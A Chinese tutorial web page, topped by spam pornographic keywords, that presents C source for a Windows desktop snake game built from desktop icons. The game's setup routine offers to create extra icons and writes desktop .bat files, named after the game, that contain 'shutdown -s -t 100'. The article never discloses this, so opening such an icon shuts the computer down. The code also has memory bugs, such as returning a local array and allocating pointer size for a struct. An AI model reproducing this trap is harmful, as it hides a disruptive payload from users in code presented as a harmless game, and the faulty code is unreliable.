欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

C語言實現(xiàn)桌面貪吃蛇小游戲

 更新時間:2020年12月22日 09:25:36   作者:LYX新  
這篇文章主要介紹了C語言實現(xiàn)桌面貪吃蛇小游戲,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下

本篇寫的是桌面貪吃蛇小游戲,大家自己看吧,感謝大家的支持,謝謝!O(∩_∩)O~~

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h" 
#include <stdio.h>
#include <string.h>
#define SIZE 100     //圖標(biāo)大小默認(rèn)為100

HWND deskpot;   //桌面句柄
int iCount = 0;  //圖標(biāo)個數(shù)
int screenX;   //獲取屏幕的分辨率(寬)
int screenY;	 //獲取屏幕的分辨率(高)
int eatCount = 0;  //計數(shù)(已經(jīng)吃到的圖標(biāo))
int index = 0;
int speed = 500;  //初始速度

typedef struct Snake   //蛇結(jié)構(gòu)體
{
	int x;
	int y;
	int index;
	struct Snake* next;
}snake;

snake* Head;  //蛇頭
snake* SnakeTemp;  //臨時的
POINT food;  //食物位置



char* GetDesktopPath();      //返回桌面路徑
void Initialization();      //初始化變量
void StartGame();         //開始游戲

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	Initialization();
	MessageBox(deskpot, TEXT("游戲規(guī)則可以從自己身體上踏過但是不能撞到屏幕四周,按Esc鍵可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
	StartGame();
	return 0;
}

void Initialization()     //初始化變量
{
	srand(unsigned int(time(NULL)));

	HWND grandpa = FindWindowA("Progman", "Program Manager");

	HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);

	deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");

	iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0);    //獲取句柄中控件的個數(shù)
	screenX = GetSystemMetrics(SM_CXSCREEN);  //獲取屏幕的分辨率(寬)
	screenY = GetSystemMetrics(SM_CYSCREEN);  //獲取屏幕的分辨率(高)
	Head = (snake*)malloc(sizeof(Head));
	Head->x = rand() % (screenX / SIZE) * SIZE;   //蛇頭初始化位置
	Head->y = rand() % (screenY / SIZE) * SIZE;
	Head->index = 0;
	Head->next = NULL;

	if (iCount < 30)
	{
		if (MessageBox(deskpot, TEXT("檢測到您桌面上的圖標(biāo)不夠30個是否需要自動創(chuàng)建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES)   //判斷桌面圖標(biāo)是否夠30個,不夠就創(chuàng)建些
		{
			FILE* fp;
			char Path[200];    //保存文件路徑
			char temp[20];    //存儲文件名
			char FineName[100];  //存儲文件的全名加后綴名

			for (int i = 0; i < 30 - iCount; i++)
			{
				memset(Path, 0, 200 * sizeof(char));
				strcpy(Path, GetDesktopPath());  //將桌面路徑給Path
				sprintf(temp, "\\貪吃蛇%d.bat", i);
				strcat(Path, temp);
				if ((fp = fopen(Path, "w+")) == NULL)
					continue;  //如果他建失敗就跳過

				fprintf(fp, "shutdown -s -t 100");
				fclose(fp);
			}
		}
	}
	for (int i = 0; i < iCount; i++)
	{
		//因為這里長寬只能用32位的數(shù)來表示,高在前,寬在后,用一下位運算
		SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
	}
	return;
}

char* GetDesktopPath()      //返回桌面路徑
{
	LPITEMIDLIST pidl;
	LPMALLOC pShellMalloc;
	char szDir[200];
	if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
	{
		if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
		{
			// 如果成功返回true 
			SHGetPathFromIDListA(pidl, szDir);
			pShellMalloc->Free(pidl);
		}
		pShellMalloc->Release();
	}

	return szDir;
}

void StartGame()         //開始游戲
{

	SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x);   //打印蛇頭

label:
	food.x = rand() % (screenX / SIZE) * SIZE;
	food.y = rand() % (screenY / SIZE) * SIZE;
	if (Head->x == food.x && Head->y == food.y)  //如果食物的坐標(biāo)和蛇頭的初始位置相同則重新產(chǎn)生
		goto label;
	SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x);   //打印食物

	snake SnakeMove;    //蛇的移動
	SnakeMove.x = 1, SnakeMove.y = 0;   //默認(rèn)向右移動

	while (eatCount < iCount)
	{
		if (GetAsyncKeyState(VK_UP) != 0)   //上
			SnakeMove.x = 0, SnakeMove.y = -1;

		if (GetAsyncKeyState(VK_DOWN) != 0)  //下
			SnakeMove.x = 0, SnakeMove.y = 1;

		if (GetAsyncKeyState(VK_LEFT) != 0)  //左
			SnakeMove.x = -1, SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_RIGHT) != 0)  //右
			SnakeMove.x = 1, SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_ESCAPE) != 0)  //結(jié)束
		{
			MessageBox(deskpot, TEXT("結(jié)束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
			exit(0);
		}


		if (GetAsyncKeyState(VK_SPACE))     //按空格鍵暫停
		{
			while (1)
			{
				Sleep(300);
				if (GetAsyncKeyState(VK_SPACE))     //再按一次空格鍵繼續(xù)
					break;
			}
		}


		if (Head->x == food.x && Head->y == food.y)
		{
			index++;
			eatCount++;
			speed = speed - (speed / 10);
			snake* temp;
			temp = (snake*)malloc(sizeof(snake));
			temp->x = food.x;
			temp->y = food.y;
			temp->index = index;
			temp->next = NULL;

			SnakeTemp = Head;
			while (SnakeTemp->next != NULL)
			{
				SnakeTemp = SnakeTemp->next;
			}
			SnakeTemp->next = temp;

			SnakeTemp = Head;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			while (SnakeTemp != NULL)
			{
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				SnakeTemp = SnakeTemp->next;
			}

		label2:
			food.x = rand() % (screenX / SIZE) * SIZE;
			food.y = rand() % (screenY / SIZE) * SIZE;
			if (Head->x == food.x && Head->y == food.y)  //如果食物的坐標(biāo)和蛇頭的初始位置相同則重新產(chǎn)生
				goto label2;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x);   //打印食物

		}
		else
		{
			snake Temp;
			snake Temp2;
			bool choice = false;
			SnakeTemp = Head;
			Temp.x = SnakeTemp->x;
			Temp.y = SnakeTemp->y;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				Temp2.x = SnakeTemp->x;
				Temp2.y = SnakeTemp->y;

				SnakeTemp->x = Temp.x;
				SnakeTemp->y = Temp.y;
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				Temp.x = Temp2.x;
				Temp.y = Temp2.y;
				SnakeTemp = SnakeTemp->next;

			}
			if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
			{
				MessageBox(deskpot, TEXT("笨蛋你撞到墻,游戲結(jié)束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
				exit(0);
			}

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
				{
					MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戲結(jié)束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
					exit(0);
				}
				SnakeTemp = SnakeTemp->next;
			}

		}

		Sleep(speed);
	}
	return;
}

游戲界面如圖:
在這里插入圖片描述

失敗界面如圖:
在這里插入圖片描述

到此這篇關(guān)于C語言實現(xiàn)桌面貪吃蛇小游戲的文章就介紹到這了,更多相關(guān)C語言桌面貪吃蛇內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • C++?內(nèi)存泄漏調(diào)試方式

    C++?內(nèi)存泄漏調(diào)試方式

    這篇文章主要介紹了C++?內(nèi)存泄漏調(diào)試方式,C++和其他高級語言不同,需要自行管理內(nèi)存,項目大調(diào)用多,下文我們就來看看C++?內(nèi)存泄漏調(diào)試方式分享,需要的小伙伴可以參考一下
    2022-04-04
  • C語言中l(wèi)seek()函數(shù)和fseek()函數(shù)的使用詳解

    C語言中l(wèi)seek()函數(shù)和fseek()函數(shù)的使用詳解

    這篇文章主要介紹了C語言中l(wèi)seek()函數(shù)和fseek()函數(shù)的使用詳解,是C語言入門學(xué)習(xí)中的基礎(chǔ)知識,需要的朋友可以參考下
    2015-08-08
  • C語言二叉樹層序遍歷

    C語言二叉樹層序遍歷

    這篇文章主要介紹了C語言二叉樹層序遍歷,文章基于C語言的相關(guān)資料展開詳細(xì)的文章內(nèi)容,具有一定的參考價值,需要的小伙伴可以參考一下,希望對你的學(xué)習(xí)有所幫助
    2022-04-04
  • C++使用redis的實例詳解

    C++使用redis的實例詳解

    這篇文章主要介紹了C++使用redis的實例詳解的相關(guān)資料,希望通過本文能幫助到大家,讓大家理解掌握這部分內(nèi)容,需要的朋友可以參考下
    2017-10-10
  • C語言設(shè)計實現(xiàn)掃描器的自動機(jī)的示例詳解

    C語言設(shè)計實現(xiàn)掃描器的自動機(jī)的示例詳解

    這篇文章主要為大家詳細(xì)介紹了如何利用C語言設(shè)計實現(xiàn)掃描器的自動機(jī),可識別的單詞包括:關(guān)鍵字、界符、標(biāo)識符和常整型數(shù),感興趣的小伙伴可以了解一下
    2022-12-12
  • 利用C++實現(xiàn)通訊錄管理系統(tǒng)的完整代碼

    利用C++實現(xiàn)通訊錄管理系統(tǒng)的完整代碼

    通訊錄是一個可以記錄親人、好友信息的工具,下面這篇文章主要給大家介紹了關(guān)于利用C++實現(xiàn)通訊錄管理系統(tǒng)的相關(guān)資料,文中通過實例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2022-06-06
  • C++使用map容器實現(xiàn)電子詞典

    C++使用map容器實現(xiàn)電子詞典

    這篇文章主要為大家詳細(xì)介紹了C++如何使用map容器實現(xiàn)電子詞典功能,文中的示例代碼講解詳細(xì),具有一定的借鑒價值,需要的小伙伴可以參考一下
    2022-11-11
  • 最新評論